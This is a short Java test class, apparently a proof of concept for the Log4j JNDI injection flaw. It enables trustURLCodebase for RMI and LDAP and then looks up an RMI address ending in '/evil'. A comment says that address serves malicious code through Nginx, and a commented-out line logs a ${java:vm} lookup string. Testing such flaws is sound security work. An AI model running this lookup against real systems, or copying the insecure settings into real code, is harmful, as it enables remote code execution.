import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;


/**
 * @ClassName SystemTest
 * @Date 2021/12/27 16:15
 * @Author Jipeng.Liu
 **/
public class Log4jTest {

    private static final Logger LOG = LogManager.getLogger();

    public static void main(String[] args) throws NamingException {

        // java8+需要开启以下配置，java7默认开启。
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

        Context context = new InitialContext();
        context.lookup("rmi://10.**.82:1099/evil"); // 请求rmi接口（然后反向代理到Nginx下执行恶意代码）

        // 可以执行所有lookups的命令
//        String name = "${java:vm}";
//        LOG.error("test {}", name);
    }
}
